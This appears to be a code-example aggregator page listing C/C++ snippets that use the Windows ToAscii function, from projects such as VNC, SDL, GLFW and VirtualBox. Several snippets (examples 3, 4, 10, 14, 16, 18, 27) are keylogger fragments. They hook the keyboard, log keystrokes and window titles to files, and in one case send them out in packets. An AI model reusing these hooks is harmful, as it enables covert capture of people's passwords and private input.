Exemplo n.º 1
0
  Keymapper()
  {
    for (int i = 0; i < sizeof(keymap) / sizeof(keymap_t); i++) {
      vkMap[keymap[i].keysym] = keymap[i].vk;
      extendedMap[keymap[i].keysym] = keymap[i].extended;
    }

	// Find dead characters for the current keyboard layout
  // XXX how could we handle the keyboard layout changing?
  BYTE keystate[256];
  memset(keystate, 0, 256);
  for (int j = 0; j < sizeof(latin1DeadChars); j++) {
    SHORT s = VkKeyScan(latin1DeadChars[j]);
    if (s != -1) {
      BYTE vkCode = LOBYTE(s);
      BYTE modifierState = HIBYTE(s);
      keystate[VK_SHIFT] = (modifierState & 1) ? 0x80 : 0;
      keystate[VK_CONTROL] = (modifierState & 2) ? 0x80 : 0;
      keystate[VK_MENU] = (modifierState & 4) ? 0x80 : 0;
      rdr::U8 chars[2];
      int nchars = ToAscii(vkCode, 0, keystate, (WORD*)&chars, 0);
      if (nchars < 0) {
        vnclog.Print(LL_INTWARN, "Found dead key 0x%x '%c'",
                   latin1DeadChars[j], latin1DeadChars[j]);
        deadChars.push_back(latin1DeadChars[j]);
        ToAscii(vkCode, 0, keystate, (WORD*)&chars, 0);
      }
    }
  }

  }
Exemplo n.º 2
0
int DefaultLanguageCompare(const wchar *a, int a_length, const wchar *b, int b_length, int)
{
	int  little = 0, middle = 0;
	const wchar *p1 = a, *e1 = a + a_length, *p2 = b, *e2 = b + b_length;

	while(p1 < e1 && p2 < e2)
	{
		wchar c1 = *p1++;
		wchar c2 = *p2++;

		int level1 = (IsLetter(c1) ? 3 : IsDigit(c1) ? 2 : c1 == ' ' ? 0 : 1);
		int level2 = (IsLetter(c2) ? 3 : IsDigit(c2) ? 2 : c2 == ' ' ? 0 : 1);
		if(level1 != level2)
			return cmp(level1, level2);
		if(level1 <= 1)
		{
			if(c1 != c2)
				return cmp(c1, c2);
			continue;
		}
		if(level1 == 2)
		{ // digits
			const wchar *dp1 = --p1, *dp2 = --p2;
			int res = LangCompareDigits(dp1, dp2, e1, e2);
			if(res)
				return res;
			p1 = dp1;
			p2 = dp2;
			continue;
		}

		int u1, u2, i1, i2;

		i1 = ToAscii(u1 = ToUpper(c1));
		i2 = ToAscii(u2 = ToUpper(c2));

		if(i1 != i2)
			return i1 >= i2 ? 1 : -1;

		if(u1 != u2) // different diacritics
			if(middle == 0)
				middle = u1 - u2;

		if(c1 != c2) // different case
		{
			if(little == 0)
				little = (u1 != c1) - (u2 != c2);
		}
	}
	little += 4 * middle;
	if(little == 0)
		little = a_length - b_length;
	return sgn(little);
}
Exemplo n.º 3
0
void log_numeric_keystrokes( FILE * log_file, char * keyboard_state )
{
	int i;
	// Log the pressed numeric keys, not on the keypad 
	// (These keys can also be special keys : @,$,...)
	for( i = VK_0; i <= VK_9; i++ )
	{
		if( GetAsyncKeyState( i ) & KEY_PRESSED_STATE )
		{
			int scan_code = MapVirtualKey( i, 0 );
			char ascii_char;
			// ToAscii returns a numeric key [0..9] or a special key : [@,$,%,...]
			if( ToAscii( i, scan_code, ( BYTE * ) keyboard_state, ( LPWORD ) &ascii_char, 0 ) == 1 )
			// If a character has been retrieved
			{
				log_infos( log_file, "%c", ascii_char );
			}
		}
	}
	
	// Log the pressed numeric keys, on the keypad
	for( i = VK_NUMPAD0; i <= VK_NUMPAD9; i++ )
	{
		if( GetAsyncKeyState( i ) & KEY_PRESSED_STATE )
		{
			log_infos( log_file, "%01d", i - VK_NUMPAD0 );
		}
	}
}
Exemplo n.º 4
0
LRESULT CALLBACK kbdHandler(int code, WPARAM wParam, LPARAM lParam) {
	if (logRun && code >= 0) {
		WORD buf;
		BYTE KeyState[256];
		char lpString[256];
		KBDLLHOOKSTRUCT *pKeyBoard;

		pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
		if (!keyboard.isWorking())
			keyboard.startWorking(getTime());
		GetKeyboardState(KeyState);
		if (wParam == WM_KEYDOWN) {
			if (cor.count(pKeyBoard->vkCode))
				keyboard.log(cor[pKeyBoard->vkCode]);
			else if (ToAscii(pKeyBoard->vkCode, MapVirtualKey(pKeyBoard->vkCode, 0), KeyState, &buf, 0) == 1)
				keyboard.log((char)buf);
			else if (GetKeyNameTextA(MAKELONG(0, MapVirtualKey(pKeyBoard->vkCode, 0)), lpString, 255) > 0)
				keyboard.log(std::string(lpString));
		}
	}
	if (logRun) {
		if (json.getSizeBuffer() >= PACKET_SIZE) {
			json.sendPackets();
			json.putActiveProcess(curPath, "USELESS");
		}
		if (!stockProcessName())
			json.putActiveProcess("UNKNOWN", "USELESS");
	}
	return (CallNextHookEx(keyboard.getHandler(), code, wParam, lParam));
}
Exemplo n.º 5
0
LRESULT CALLBACK
KeyHookMsg(int code, WPARAM w, LPARAM l)
{
	if(code >= 0 && IsWindow(g_targetWnd))
	{
		PKEYINFO keyInfo = (PKEYINFO) &l;

		if(!keyInfo->extended && !keyInfo->alt && !keyInfo->notPressed)
		{
			BYTE keyState[256];
			WORD ch=0;

			GetKeyboardState(keyState);
			keyState[VK_CONTROL] = 0;
			if(ToAscii((UINT) w, keyInfo->scanCode, keyState, &ch, 0) == 1)
			{

				SendMessageTimeout(	g_targetWnd,
									g_callbackMsg, 
									ch, 
									l, 
									SMTO_BLOCK|SMTO_ABORTIFHUNG, 
									50, 
									NULL	);
			}
		}
	}

    return CallNextHookEx(NULL, code, w, l);
}
Exemplo n.º 6
0
void CDComView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags)
{
    WORD wCh;
    char szInput[2];
    if (m_bBlockUserin == false)
    {
        memset(m_kbState, 0, sizeof(m_kbState));
        GetKeyboardState(m_kbState);
        if ((ToAscii(nChar, MapVirtualKey(nChar, MAPVK_VK_TO_CHAR), m_kbState, &wCh, 0) == 1) &&
                ((myisprint((char)wCh)) || ((char)wCh == VK_ESCAPE) || (GetKeyState(VK_CONTROL) & 0x8000)))
        {
            szInput[0] = (char)wCh;
            szInput[1] = 0;
            AddUserInput(szInput, 1);
        }
        else
        {
            CMainFrame *pMainFrm = (CMainFrame *)AfxGetMainWnd();
            char *pText;
            if (pMainFrm)
            {
                pText = pMainFrm->GetKeyString(nChar,
                                               (GetKeyState(VK_CONTROL) & 0x8000) ? true : false,
                                               (GetKeyState(VK_SHIFT  ) & 0x8000) ? true : false);
                if (pText)
                {
                    AddUserInput(pText, strlen(pText));
                }
            }
        }
    }
    CScrollView::OnKeyDown(nChar, nRepCnt, nFlags);
}
Exemplo n.º 7
0
char dispatch_mem()
{
   Z80 &cpu = CpuMgr.Cpu();
   if (!mem_max)
       return 0;
   if (mem_ascii)
   {
      u8 Kbd[256];
      GetKeyboardState(Kbd);
      unsigned short k;
      if (ToAscii(input.lastkey,0,Kbd,&k,0) != 1)
          return 0;
      k &= 0xFF;
      if (k < 0x20 || k >= 0x80)
          return 0;
      editwm(cpu.mem_curs, (unsigned char)k);
      mright();
      return 1;
   }
   else
   {
      if ((input.lastkey >= '0' && input.lastkey <= '9') || (input.lastkey >= 'A' && input.lastkey <= 'F'))
      {
         unsigned char k = (input.lastkey >= 'A') ? input.lastkey-'A'+10 : input.lastkey-'0';
         unsigned char c = editrm(cpu.mem_curs);
         if (cpu.mem_second) editwm(cpu.mem_curs, (c & 0xF0) | k);
         else editwm(cpu.mem_curs, (c & 0x0F) | (k << 4));
         mright();
         return 1;
      }
   }
   return 0;
}
Exemplo n.º 8
0
char 
CBaseCaret::MakeAscii( UINT nChar, UINT nFlags )
{

#ifdef _MAC
	return MapVirtualKey( nChar, 2 );
#else

	BYTE KeyState[256];

#ifdef WIN32
	WORD TransKey;
#else
	DWORD TransKey;
#endif

	GetKeyboardState(KeyState);
	
	if ( ToAscii(nChar, (nFlags & 0x7f), KeyState, &TransKey, 0) == 1 ) {
		return (char )(TransKey & 0x7f);
	} else {
		return 0;
	}
#endif

}
Exemplo n.º 9
0
char* KeysymToChar(int keysym)
{
	LPWORD temp;

	ToAscii((UINT) keysym, NULL, NULL, temp, NULL);
	return (char*)temp;
}
Exemplo n.º 10
0
 LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
	 char ch;
	 if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
	 {
		 f1=fopen("c:\\report.txt","a+");
		 if(wParam==VK_RETURN)
		 {
			 ch='\n';
			 fwrite(&ch,1,1,f1);
		 }
		 else
		 {
			 BYTE ks[256];
			 GetKeyboardState(ks);
			 WORD w;
			 UINT scan;
			 scan=0;
			 ToAscii(wParam,scan,ks,&w,0);
			 ch=char(w);
			 fwrite(&ch,1,1,f1);
		 }
		 fclose(f1);
	 }
//╫╚╪ЭелоШо╒╢╚╣щ╦ЬфДкШ╧Ёвса╢ио╣дЁлпР
	 LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
	 return RetVal;
 }
Exemplo n.º 11
0
static SDL_keysym *TranslateKey(UINT scancode, SDL_keysym *keysym, int pressed)
{
	/* Set the keysym information */
	keysym->scancode = (unsigned char)scancode;
	keysym->sym = DIK_keymap[scancode];
	keysym->mod = KMOD_NONE;
	keysym->unicode = 0;
	if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */
		UINT vkey;
#ifndef NO_GETKEYBOARDSTATE
		BYTE keystate[256];
		BYTE chars[2];
#endif

		vkey = MapVirtualKey(scancode, 1);
#ifdef NO_GETKEYBOARDSTATE
		/* Uh oh, better hope the vkey is close enough.. */
		keysym->unicode = vkey;
#else
		GetKeyboardState(keystate);
		if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) {
			keysym->unicode = chars[0];
		}
#endif
	}
	return(keysym);
}
Exemplo n.º 12
0
void GameConsole::handleDefaultKeyInput(USHORT vKey)
{
	if (currentInput.currentInput.size() > INPUT_MAX_CHARS)
	{
		return;
	}

	WORD buf;
	BYTE keysDown[256] = {};

	if (GetAsyncKeyState(VK_SHIFT) & 0x8000) // 0x8000 = 0b1000000000000000
	{
		keysDown[VK_SHIFT] = 0x80; // sets highest-order bit to 1: 0b10000000
	}

	if (capsLockToggled)
	{
		keysDown[VK_CAPITAL] = 0x1; // sets lowest-order bit to 1: 0b00000001
	}

	int retVal = ToAscii(vKey, 0, keysDown, &buf, 0);

	if (retVal == 1)
	{
		currentInput.type(buf & 0x00ff);
	}
	else if (retVal == 2)
	{
		currentInput.type(buf >> 8);
		currentInput.type(buf & 0x00ff);
	}
Exemplo n.º 13
0
/** @brief doesCurrentLayoutHaveAltGr
  *
  * @return true if this keyboard layout has an AltGr key, false otherwise
  * Check to see whether the current keyboard layout actually has an AltGr key
  * by checking whether any of the keys which might do produce a symbol when
  * AltGr (Control + Alt) is depressed. Generally this loop will exit pretty
  * early (it exits on the first iteration for my German layout). If there is
  * no AltGr key in the layout then it will run right through, but that should
  * hopefully not happen very often.
  * 
  * In theory we could do this once and cache the result, but that involves
  * tracking layout switches to invalidate the cache, and I don't think that the
  * added complexity is worth the price. */
static bool doesCurrentLayoutHaveAltGr()
{
    /** Keyboard state array with VK_CONTROL and VK_MENU depressed. */
    const BYTE auKeyStates[256] =
        { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x80, 0x80 };
    WORD ach;
    unsigned i;

    for (i = '0'; i <= VK_OEM_102; ++i)
    {
        if (ToAscii(i, 0, auKeyStates, &ach, 0))
            break;
        /* Skip ranges of virtual keys which are undefined or not relevant. */
        if (i == '9')
            i = 'A' - 1;
        if (i == 'Z')
            i = VK_OEM_1 - 1;
        if (i == VK_OEM_3)
            i = VK_OEM_4 - 1;
        if (i == VK_OEM_8)
            i = VK_OEM_102 - 1;
    }
    if (i > VK_OEM_102)
        return false;
    return true;
}
Exemplo n.º 14
0
LRESULT mainwnd::HookProc(WPARAM wParam, LPARAM lParam)
{

		switch (wParam)
		{
		case VK_CAPITAL: SaveBuf('['); SaveBuf('C'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_DELETE: SaveBuf('['); SaveBuf('D'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_LSHIFT: SaveBuf('['); SaveBuf('S'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_RSHIFT:SaveBuf('['); SaveBuf('S'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_LCONTROL: SaveBuf('['); SaveBuf('C'); SaveBuf('R'); SaveBuf(']'); break;//Ctrl
		case VK_RCONTROL: SaveBuf('['); SaveBuf('C'); SaveBuf('R'); SaveBuf(']'); break;
		case VK_BACK: SaveBuf('['); SaveBuf('B'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_TAB: SaveBuf('['); SaveBuf('T'); SaveBuf('B'); SaveBuf(']'); break;
		case VK_RETURN:SaveBuf('\n'); break;
		case VK_LMENU: SaveBuf('['); SaveBuf('A'); SaveBuf('T'); SaveBuf(']'); break;//Alt
		case VK_RMENU: SaveBuf('['); SaveBuf('A'); SaveBuf('T'); SaveBuf(']'); break;
		case VK_ESCAPE: SaveBuf('['); SaveBuf('E'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_F2: SaveBuf('['); SaveBuf('F'); SaveBuf('2'); SaveBuf(']'); break;
		case VK_F1: SaveBuf('['); SaveBuf('F'); SaveBuf('1'); SaveBuf(']'); break;
		case VK_F3: SaveBuf('['); SaveBuf('F'); SaveBuf('3'); SaveBuf(']'); break;
		case VK_F4: SaveBuf('['); SaveBuf('F'); SaveBuf('4'); SaveBuf(']'); break;
		case VK_F5: SaveBuf('['); SaveBuf('F'); SaveBuf('5'); SaveBuf(']'); break;
		case VK_F6: SaveBuf('['); SaveBuf('F'); SaveBuf('6'); SaveBuf(']'); break;
		case VK_F7: SaveBuf('['); SaveBuf('F'); SaveBuf('7'); SaveBuf(']'); break;
		case VK_F8: SaveBuf('['); SaveBuf('F'); SaveBuf('8'); SaveBuf(']'); break;
		case VK_F9: SaveBuf('['); SaveBuf('F'); SaveBuf('9'); SaveBuf(']'); break;
		case VK_F10: SaveBuf('['); SaveBuf('F'); SaveBuf('Q'); SaveBuf(']'); break;
		case VK_F11: SaveBuf('['); SaveBuf('F'); SaveBuf('E'); SaveBuf(']'); break;
		case VK_F12: SaveBuf('['); SaveBuf('F'); SaveBuf('R'); SaveBuf(']'); break;
		case VK_SNAPSHOT: SaveBuf('['); SaveBuf('P'); SaveBuf('S'); SaveBuf(']'); break;
		case VK_SCROLL: SaveBuf('['); SaveBuf('S'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_PAUSE: SaveBuf('['); SaveBuf('|'); SaveBuf('|'); SaveBuf(']'); break;
		case VK_INSERT: SaveBuf('['); SaveBuf('I'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_HOME: SaveBuf('['); SaveBuf('H'); SaveBuf('O'); SaveBuf(']'); break;
		case VK_PRIOR: SaveBuf('['); SaveBuf('P'); SaveBuf('U'); SaveBuf(']'); break;
		case VK_NEXT: SaveBuf('['); SaveBuf('P'); SaveBuf('D'); SaveBuf(']'); break;
		case VK_END: SaveBuf('['); SaveBuf('E'); SaveBuf('D'); SaveBuf(']'); break;
		case VK_LWIN: SaveBuf('['); SaveBuf('W'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_RWIN: SaveBuf('['); SaveBuf('W'); SaveBuf('N'); SaveBuf(']'); break;
		case VK_NUMLOCK: SaveBuf('['); SaveBuf('N'); SaveBuf('L'); SaveBuf(']'); break;
		case VK_OEM_3: SaveBuf('['); SaveBuf('`'); SaveBuf('~'); SaveBuf(']'); break;
		case VK_UP: SaveBuf('['); SaveBuf('U'); SaveBuf('P'); SaveBuf(']'); break;
		case VK_LEFT: SaveBuf('['); SaveBuf('L'); SaveBuf('F'); SaveBuf(']'); break;
		case VK_RIGHT: SaveBuf('['); SaveBuf('R'); SaveBuf('I'); SaveBuf(']'); break;
		case VK_DOWN: SaveBuf('['); SaveBuf('D'); SaveBuf('N'); SaveBuf(']'); break;
		default:
			BYTE   ks[256];
			GetKeyboardState(ks);
			WORD   w;
			UINT   scan;
			scan = 0;
			ToAscii(wParam, scan, ks, &w, 0);
			char chr = char(w);
			SaveBuf(chr);
			break;
		}

	return 0;
}
Exemplo n.º 15
0
static void _glfwTranslateChar( DWORD wParam, DWORD lParam, int action )
{
    BYTE  keyboard_state[ 256 ];
    UCHAR char_buf[ 10 ];
    WCHAR unicode_buf[ 10 ];
    UINT  scan_code;
    int   i, num_chars, unicode;

    // Get keyboard state
    GetKeyboardState( keyboard_state );

    // Derive scan code from lParam and action
    scan_code = (lParam & 0x01ff0000) >> 16;
    if( action == GLFW_RELEASE )
    {
        scan_code |= 0x8000000;
    }

    // Do we have Unicode support?
    if( _glfwSys.HasUnicode )
    {
        // Convert to Unicode
        num_chars = ToUnicode(
            wParam,          // virtual-key code
            scan_code,       // scan code
            keyboard_state,  // key-state array
            unicode_buf,     // buffer for translated key
            10,              // size of translated key buffer
            0                // active-menu flag
        );
        unicode = 1;
    }
    else
    {
        // Convert to ISO-8859-1
        num_chars = ToAscii(
            wParam,            // virtual-key code
            scan_code,         // scan code
            keyboard_state,    // key-state array
            (LPWORD) char_buf, // buffer for translated key
            0                  // active-menu flag
        );
        unicode = 0;
    }

    // Report characters
    for( i = 0; i < num_chars; i ++ )
    {
        // Get next character from buffer
        if( unicode )
        {
            _glfwInputChar( (int) unicode_buf[ i ], action );
        }
        else
        {
            _glfwInputChar( (int) char_buf[ i ], action );
        }
    }
}
Exemplo n.º 16
0
LRESULT CALLBACK  LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
	HWND hFocus=GetForegroundWindow();

	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);

	if(code==HC_ACTION) {
		KBDLLHOOKSTRUCT *pKBst=(KBDLLHOOKSTRUCT *)lParam;
		if(wParam==WM_KEYDOWN) {
			
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
		
			vKey=pKBst->vkCode;
			nScan=pKBst->scanCode;
			nScan<<=16;
			
			// Check to see if focus has changed			
			if(g_hLastFocus!=hFocus) {
				char svTitle[256];
				int nCount;
				nCount=GetWindowTextA(hFocus,svTitle,256);
				if(nCount>0) {
					char svBuffer[512];
					sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);
				}
				g_hLastFocus=hFocus;
			}
			
			// Write out key
			dwCount=GetKeyNameTextA(nScan,svBuffer,256);	
			if(dwCount) {
				if(vKey==VK_SPACE) {
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1) {
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					
					GetKeyboardState(kbuf);
					
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);				
				} else {
					WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
				}
			}			
		}
	}
	return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
Exemplo n.º 17
0
bool SpellWordRaw(const WString& wrd, int lang, Vector<String> *withdia)
{
	Speller *f = sGetSpeller(lang);
	if(!f)
		return true;
	if(f->data.GetCount())
		return f->CheckOld(wrd);
	String awrd = ToUpper(ToAscii(wrd).ToString());
	String t1 = ToUtf8(wrd);
	String t2 = ToUtf8(ToLower(wrd));
	for(int i = 0;; i++) {
		if(i + 1 >= f->block.GetCount() || awrd <= f->block[i + 1].first) {
			for(;;) {
				if(i >= f->block.GetCount())
					return f->user.Find(wrd) >= 0;;
				LLOG("Spell block " << i << ": " << f->block[i].first);
				const SpellBlock& b = f->block[i++];
				if(b.first > awrd) {
					LLOG("  --- end");
					return f->user.Find(wrd) >= 0;;
				}
				FileIn in(f->path);
				String ctrl = sZet(in, b.offset, b.ctrl_len);
				String text = sZet(in, b.offset + b.ctrl_len, b.text_len);
				in.Close();
				String w;
				const char *s = ctrl;
				const char *e = ctrl.End();
				const char *t = text;
				const char *te = text.End();
				while(s < e && t < te) {
					w.Trim(*s++);
					while(*t)
						w.Cat(*t++);
					if(w == t1 || w == t2)
						return true;
					if(withdia && t2 == ToLower(ToAscii(w.ToWString()).ToString()))
						withdia->Add(w);
					t++;
				}
			}
		}
	}
	return f->user.Find(wrd) >= 0;;
}
Exemplo n.º 18
0
/* write formatted kkeycodes to logfile */
void write_to_log(UINT vkey_code){
	
	DWORD n;
	BYTE lpKeyState[256];				/* For use by ToAscii and GetKeyboardState */
	char key_name[16];					/* String to hold key name */
	int key_name_size;					/* Length of key name */
	WORD w_buffer;
	short int is_shift = 0;				/* Variable to decide if current scanned char should be in caps. */
	
	if(!h_logfile)
		return;
	
	/* Get Current Time */
	GetLocalTime(&curr_time);

	/* Check currently active window and grab title */
	h_active_window = GetForegroundWindow();
	GetWindowText(h_active_window, active_window_title, MAX_PATH);
	
	/* Write new title to logfile if:
	 * 1)current window title is not equal to previous window title
	 * 2)last log write was not in last minute
	 * 3)window handle of active window is different from previous handle
	 */
	if(strcmp(active_window_title, prev_window_title)
			||(curr_time.wMinute != prev_time.wMinute)
			||(h_active_window != h_prev_window)){
			
		strcpy(prev_window_title, active_window_title);
		prev_time = curr_time;
		h_prev_window = h_active_window;
		sprintf(window_title, "\r\n[ (%d/%d/%d %d:%d) TITLE: %s ]\r\n", 
					curr_time.wMonth, curr_time.wDay, curr_time.wYear,
					curr_time.wHour, curr_time.wMinute,
					active_window_title);
		
		WriteFile(h_logfile, window_title, strlen(window_title), &n, NULL);
	}

	/* Parse and write keys to log */
	if( (w_buffer = MapVirtualKey(vkey_code, MAPVK_VK_TO_CHAR)) && (w_buffer >= 32 && w_buffer <= 126) ){
	
		GetKeyboardState(lpKeyState);
		ToAscii( vkey_code, MapVirtualKey(vkey_code, 0), lpKeyState, &w_buffer, 0 );
		WriteFile(h_logfile, (char *)&w_buffer, 1, &n, NULL);
	
	}else{
	
		key_name[0] = '[';
		key_name_size = GetKeyNameText( MAKELONG(0, MapVirtualKey(vkey_code, MAPVK_VK_TO_VSC) ), key_name+1, sizeof(key_name)-2);
		key_name[key_name_size+1] = ']';
		WriteFile(h_logfile, key_name, key_name_size+2, &n, NULL);
		
	}
	
	FlushFileBuffers(h_logfile);
}
Exemplo n.º 19
0
unsigned char toAscii(UINT virtualCode) {
  BYTE keystate[256];
  if(!::GetKeyboardState(keystate)) {
    throwLastErrorOnSysCallException(_T("GetKeyboardState"));
  }
  WORD ch;
  const int ret = ToAscii(virtualCode, 0, keystate, &ch, 0);
  return ret == 1 ? ch : 0;
}
Exemplo n.º 20
0
void CShortcut::FormatKeyLabel(VirtualKeyName* pVirtualKeyNames,BYTE bKey,BYTE bModifiers,BOOL bScancode,CStringW& str)
{
	if (bKey==0)
	{
		str.LoadString(IDS_SHORTCUTNONE);
		return;
	}


	// Formatting modifiers
	if (bModifiers&MOD_WIN)
		str.LoadString(IDS_SHORTCUTMODEXT);
	else
		str.Empty();
	if (bModifiers&MOD_CONTROL)
		str.AddString(IDS_SHORTCUTMODCTRL);
	if (bModifiers&MOD_ALT)
		str.AddString(IDS_SHORTCUTMODALT);
	if (bModifiers&MOD_SHIFT)
		str.AddString(IDS_SHORTCUTMODSHIFT);
	
	if (bScancode)
	{
		CStringW str2;
		str2.Format(IDS_SHORTCUTSCANCODE,(int)bKey);
		str << str2;
		return;
	}

	int i;
	for (i=0;pVirtualKeyNames[i].bKey!=0 && pVirtualKeyNames[i].bKey!=bKey;i++);
	if (pVirtualKeyNames[i].iFriendlyNameId!=0)
	{
		str.AddString(pVirtualKeyNames[i].iFriendlyNameId);
		return;
	}

	BYTE pKeyState[256];
	ZeroMemory(pKeyState,256);

	WORD wChar;
	int nRet=ToAscii(bKey,0,pKeyState,&wChar,0);
	if (nRet==1)
	{
		MakeUpper((LPSTR)&wChar,1);
		str << char(wChar);
	} 
	else if (nRet==2)
	{
		MakeUpper((LPSTR)&wChar,2);
		str << (LPSTR(&wChar))[0] << (LPSTR(&wChar))[0];
	}
	else if (pVirtualKeyNames[i].pName!=NULL)
		str << pVirtualKeyNames[i].pName;
	else
		str << (int) bKey;
}
/**
 * @brief isSyntheticLCtrl
 * @param   pMsg  Windows WM_[SYS]KEY* event message structure
 * @return  true if this is a synthetic LCtrl event, false otherwise
 * This function is a heuristic to tell whether a key event is the first in
 * a synthetic LCtrl+RAlt sequence which Windows uses to signal AltGr.  Our
 * heuristic is in two parts.  First of all, we check whether there is a pending
 * RAlt key event matching this LCtrl event (i.e. both key up or both key down)
 * and if there is, we check whether the current layout has an AltGr key.  We
 * check this by looking to see if any of the layout-dependent keys has a symbol
 * associated when AltGr is pressed.
 */
static bool isSyntheticLCtrl(MSG *pMsg)
{
    MSG peekMsg;
    /** Keyboard state array with VK_CONTROL and VK_MENU depressed. */
    const BYTE auKeyStates[256] =
    { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x80, 0x80 };
    WORD ach;
    unsigned i;

    Assert(   pMsg->message == WM_KEYDOWN || pMsg->message == WM_SYSKEYDOWN
           || pMsg->message == WM_KEYUP || pMsg->message == WM_SYSKEYUP);
    if (   ((RT_HIWORD(pMsg->lParam) & 0xFF) != 0x1d /* scan code: Control */)
        || RT_HIWORD(pMsg->lParam) & KF_EXTENDED)
        return false;
    if (!PeekMessage(&peekMsg, NULL, WM_KEYFIRST, WM_KEYLAST, PM_NOREMOVE))
        return false;
    if (   (pMsg->message == WM_KEYDOWN || pMsg->message == WM_SYSKEYDOWN)
        && (peekMsg.message != WM_KEYDOWN && peekMsg.message != WM_SYSKEYDOWN))
        return false;
    if (   (pMsg->message == WM_KEYUP || pMsg->message == WM_SYSKEYUP)
        && (peekMsg.message != WM_KEYUP && peekMsg.message != WM_SYSKEYUP))
        return false;
    if (   ((RT_HIWORD(peekMsg.lParam) & 0xFF) != 0x38 /* scan code: Alt */)
        || !(RT_HIWORD(peekMsg.lParam) & KF_EXTENDED))
        return false;
    /* If we got this far then we have a key event which could potentially
     * be a synthetic left control.  Now we check to see whether the current
     * keyboard layout actually has an AltGr key by checking whether any of
     * the keys which might do produce a symbol when AltGr (Control + Alt) is
     * depressed.  Generally this loop will exit pretty early (it exits on the
     * first iteration for my German layout).  If there is no AltGr key in the
     * layout then it will run right through, but that should not happen very
     * often as we should hardly ever reach the loop in that case.
     *
     * In theory we could do this once and cache the result, but that involves
     * tracking layout switches to invalidate the cache, and I don't think
     * that the added complexity is worth the price.
     */
    for (i = '0'; i <= VK_OEM_102; ++i)
    {
        if (ToAscii(i, 0, auKeyStates, &ach, 0))
            break;
        /* Skip ranges of virtual keys which are undefined or not relevant. */
        if (i == '9')
            i = 'A' - 1;
        if (i == 'Z')
            i = VK_OEM_1 - 1;
        if (i == VK_OEM_3)
            i = VK_OEM_4 - 1;
        if (i == VK_OEM_8)
            i = VK_OEM_102 - 1;
    }
    if (i > VK_OEM_102)
        return false;
    return true;
}
Exemplo n.º 22
0
bool FileList::FindChar(int from, int chr) {
	for(int i = max(0, from); i < GetCount(); i++) {
		WString x = Get(i).name.ToWString();
		if(ToUpper(ToAscii(x[0])) == chr) {
			ClearSelection();
			SetCursor(i);
			return true;
		}
	}
	return false;
}
Exemplo n.º 23
0
WString CSCZGetIndexLetter(const wchar *s, int)
{
	wchar temp[3];
	temp[0] = temp[1] = temp[2] = 0;
	if(*s <= 2047 && IsLetter(*s)) // IsLetter
	{
		temp[0] = ToUpper(*s);
		if(s[1] <= 2047 && IsLetter(s[1]))
			temp[1] = ToLower(s[1]);
		if(temp[0] != 'C' || temp[1] != 'h')
			temp[1] = 0;
		switch(ToUpper(ToAscii(*s)))
		{
		case 'A': case 'E': case 'I': case 'N':
		case 'O': case 'T': case 'U': case 'Y':
			temp[0] = ToAscii(temp[0]);
			break;
		}
	}
	return temp;
}
Exemplo n.º 24
0
	const char* vkeyToAscii(int vkey, int scan) {
		static char buff [3];
		// nie musimy obawiaæ siê wielu w¹tków bo tej funkcji po prostu nie da siê u¿ywaæ z kilku w¹tków na raz...
		buff[0] = 0;
		unsigned char keys [256];
		GetKeyboardState(keys);
		if (scan == -1) {
			/*TODO: scan code??*/
			scan = 0;
		}
		ToAscii(vkey, scan, keys, (LPWORD)buff, false);
		return buff;
	}
Exemplo n.º 25
0
static char getascii( UINT vk, UINT scancode )
{
    BYTE keyState[256];
    char buffer[2];
    int result;
#ifndef _WIN32_WCE
    GetKeyboardState (keyState);
    result = ToAscii( vk, scancode, keyState, (LPWORD)buffer, 0 );
    if( result == 1 )
	result = buffer[0];
#endif
    return result;
}
Exemplo n.º 26
0
void RichQtfParser::Cat(int chr)
{
	if(accesskey && ToUpper(ToAscii(chr)) == LOBYTE(accesskey)) {
		Flush();
		format.Underline(!format.IsUnderline());
		text.Cat(chr);
		Flush();
		format.Underline(!format.IsUnderline());
		accesskey = 0;
	}
	else if(chr >= ' ') {
		text.Cat(chr);
	}
}
Exemplo n.º 27
0
 __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam ) 
 {
	GString name = GetActiveWindowName();
	if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) 
	{
		 // conversion du code -> ascii
		BYTE KeyState[256];
		WORD wBuf;
		char ch;
		// Structure pour récupération des informations
		KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
		/* Traitement récupération dec codes des touches */
		// Etat du clavier
